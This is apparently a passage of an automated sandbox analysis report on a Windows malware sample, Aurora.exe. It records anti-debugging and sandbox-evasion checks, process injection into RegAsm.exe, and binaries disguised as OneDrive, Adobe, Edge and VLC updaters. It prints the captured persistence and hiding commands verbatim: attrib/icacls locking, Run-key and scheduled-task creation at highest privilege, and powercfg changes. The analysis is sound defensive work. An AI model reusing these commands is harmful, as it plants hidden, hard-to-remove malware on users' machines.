Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: build.exe, 00000004.00000002.2918227460.0000000000B27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllX
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: powershell.exe, 00000016.00000002.1775465681.0000028FAF849000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: RegAsm.exe, 00000011.00000002.2929163586.000000000144E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlla

Source: C:\Users\user\Desktop\Aurora.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\Aurora.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\Aurora.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\Aurora.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\Aurora.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe

Code function: 1_2_00007FF6C12AD4FC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00007FF6C12AD4FC

Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: 1_2_00007FF6C12AD6E4 SetUnhandledExceptionFilter,	1_2_00007FF6C12AD6E4
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: 1_2_00007FF6C12AD4FC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF6C12AD4FC
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: 1_2_00007FF6C12AD750 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF6C12AD750
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: 18_2_00007FF62B64D4FC IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00007FF62B64D4FC
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: 18_2_00007FF62B64D750 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	18_2_00007FF62B64D750
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: 18_2_00007FF62B64D6E4 SetUnhandledExceptionFilter,	18_2_00007FF62B64D6E4
Source: C:\Windows\System32\conhost.exe	Code function: 57_2_00007FF6D68A1180 Sleep,Sleep,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_initterm,GetStartupInfoA,	57_2_00007FF6D68A1180
Source: C:\Windows\System32\conhost.exe	Code function: 57_2_00007FF6D68B6731 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,	57_2_00007FF6D68B6731

Source: C:\Users\user\Desktop\Aurora.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: build.exe.0.dr, NativeHelper.cs	Reference to suspicious API methods: LoadLibrary("kernel32")
Source: build.exe.0.dr, NativeHelper.cs	Reference to suspicious API methods: GetProcAddress(hModule, "GetConsoleWindow")
Source: OneDrive.exe.0.dr, Cronos-Crypter---------------.cs	Reference to suspicious API methods: ReadProcessMemory(Cronos_002DCrypter_FFFD_200D_D83E_DF2B_FFFD_D83D_DD35_FFFD_FFFD_FFFD_2642_FFFD_D83E_DE36_FFFD.ProcessHandle, num3 + 4 + 4, ref Cronos_002DCrypter_FE0F_FFFD_FFFD_D83D_DF2B_D83E_DC98_FFFD_FFFD_FFFD_D83C_DD29_200D_D83E_DEA0, 4, ref Cronos_002DCrypter_FE0F_FFFD_D83D_DCA3_FFFD_FFFD_FFFD_200D_FFFD_FFFD_FFFD_FE0F_FFFD_FFFD_200D)
Source: OneDrive.exe.0.dr, Cronos-Crypter---------------.cs	Reference to suspicious API methods: VirtualAllocEx(Cronos_002DCrypter_FFFD_200D_D83E_DF2B_FFFD_D83D_DD35_FFFD_FFFD_FFFD_2642_FFFD_D83E_DE36_FFFD.ProcessHandle, num2, num4, 12288, 64)
Source: OneDrive.exe.0.dr, Cronos-Crypter---------------.cs	Reference to suspicious API methods: WriteProcessMemory(Cronos_002DCrypter_FFFD_200D_D83E_DF2B_FFFD_D83D_DD35_FFFD_FFFD_FFFD_2642_FFFD_D83E_DE36_FFFD.ProcessHandle, num6, Cronos_002DCrypter_200D_FFFD_FFFD_D83D_DD29_FFFD_FE0F_FFFD_FFFD_FFFD_FFFD_FE0F_200D_FFFD_FFFD, num5, ref Cronos_002DCrypter_FE0F_FFFD_D83D_DCA3_FFFD_FFFD_FFFD_200D_FFFD_FFFD_FFFD_FE0F_FFFD_FFFD_200D)

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe

NtQuerySystemInformation: Direct from: 0x7FF632025ABE

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 720000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 722000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F53008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 720000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 722000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 11C5008
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 402000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 720000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 722000
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: D36008

Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe "C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe "C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe "C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Aurora.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe dw20.exe -x -s 1480	Jump to behavior
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c start cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe" && exit" && && exit "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /Q /C " ping localhost -n 1 && copy "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" "C:\Users\user\AppData\Local\Msedge.exe" && attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe" && icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA) && del "C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe" && cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r +h +a "C:\Users\user\AppData\Local\Msedge.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\icacls.exe icacls "C:\Users\user\AppData\Local\Msedge.exe" /deny "everyone":(WD,AD,WEA,WA)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /C "start "C:\Users\user\AppData\Local\Msedge.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'OneDriveUpdate' -Value '"C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe"' -PropertyType 'String'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /C schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Msedge.exe C:\Users\user\AppData\Local\Msedge.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn \OneDriveUpdate /tr "C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Roaming\OneDriveUpdate\OneDrive Updater.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe #cmd

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c start cmd /q /c " ping localhost -n 1 && copy "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" "c:\users\user\appdata\local\msedge.exe" && attrib +r +h +a "c:\users\user\appdata\local\msedge.exe" && icacls "c:\users\user\appdata\local\msedge.exe" /deny "everyone":(wd,ad,wea,wa) && del "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" && cmd /c "start "c:\users\user\appdata\local\msedge.exe" && exit" && && exit "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /q /c " ping localhost -n 1 && copy "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" "c:\users\user\appdata\local\msedge.exe" && attrib +r +h +a "c:\users\user\appdata\local\msedge.exe" && icacls "c:\users\user\appdata\local\msedge.exe" /deny "everyone":(wd,ad,wea,wa) && del "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" && cmd /c "start "c:\users\user\appdata\local\msedge.exe"
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" remove -itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'onedriveupdate';new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'onedriveupdate' -value '"c:\users\user\appdata\roaming\onedriveupdate\onedrive updater.exe"' -propertytype 'string'
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#npnsokoe#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'consolewindowshost' /tr '''c:\users\user\appdata\roaming\google\chrome\svchost.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\svchost.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'consolewindowshost' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#npnsokoe#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'consolewindowshost' /tr '''c:\users\user\appdata\roaming\google\chrome\svchost.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\svchost.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'consolewindowshost' -runlevel 'highest' -force; }
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lygkxs#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'consolewindowshost' /tr '''c:\users\user\appdata\roaming\google\chrome\svchost.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\svchost.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'consolewindowshost' -runlevel 'highest' -force; }
Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c start cmd /q /c " ping localhost -n 1 && copy "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" "c:\users\user\appdata\local\msedge.exe" && attrib +r +h +a "c:\users\user\appdata\local\msedge.exe" && icacls "c:\users\user\appdata\local\msedge.exe" /deny "everyone":(wd,ad,wea,wa) && del "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" && cmd /c "start "c:\users\user\appdata\local\msedge.exe" && exit" && && exit "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /q /c " ping localhost -n 1 && copy "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" "c:\users\user\appdata\local\msedge.exe" && attrib +r +h +a "c:\users\user\appdata\local\msedge.exe" && icacls "c:\users\user\appdata\local\msedge.exe" /deny "everyone":(wd,ad,wea,wa) && del "c:\users\user\appdata\roaming\adobelicense\adobeupdate.exe" && cmd /c "start "c:\users\user\appdata\local\msedge.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" remove -itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'onedriveupdate';new-itemproperty -path 'hkcu:\software\microsoft\windows\currentversion\run' -name 'onedriveupdate' -value '"c:\users\user\appdata\roaming\onedriveupdate\onedrive updater.exe"' -propertytype 'string'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VLC Media Player\vlc.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#npnsokoe#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'consolewindowshost' /tr '''c:\users\user\appdata\roaming\google\chrome\svchost.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\svchost.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'consolewindowshost' -runlevel 'highest' -force; }
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe c:\windows\system32\windowspowershell\v1.0\powershell.exe <#lygkxs#> if([system.environment]::osversion.version -lt [system.version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'consolewindowshost' /tr '''c:\users\user\appdata\roaming\google\chrome\svchost.exe''' } else { register-scheduledtask -action (new-scheduledtaskaction -execute 'c:\users\user\appdata\roaming\google\chrome\svchost.exe') -trigger (new-scheduledtasktrigger -atlogon) -settings (new-scheduledtasksettingsset -allowstartifonbatteries -disallowhardterminate -dontstopifgoingonbatteries -dontstoponidleend -executiontimelimit (new-timespan -days 1000)) -taskname 'consolewindowshost' -runlevel 'highest' -force; }

Source: C:\Users\user\AppData\Roaming\AdobeLicense\AdobeUpdate.exe	Code function: GetLocaleInfoEx,FormatMessageA,		1_2_00007FF6C12AC8D4
Source: C:\Users\user\AppData\Local\Msedge.exe	Code function: GetLocaleInfoEx,FormatMessageA,		18_2_00007FF62B64C8D4

Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft Edge\build.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Queries volume information: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\OneDrive Update Tool\OneDrive.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
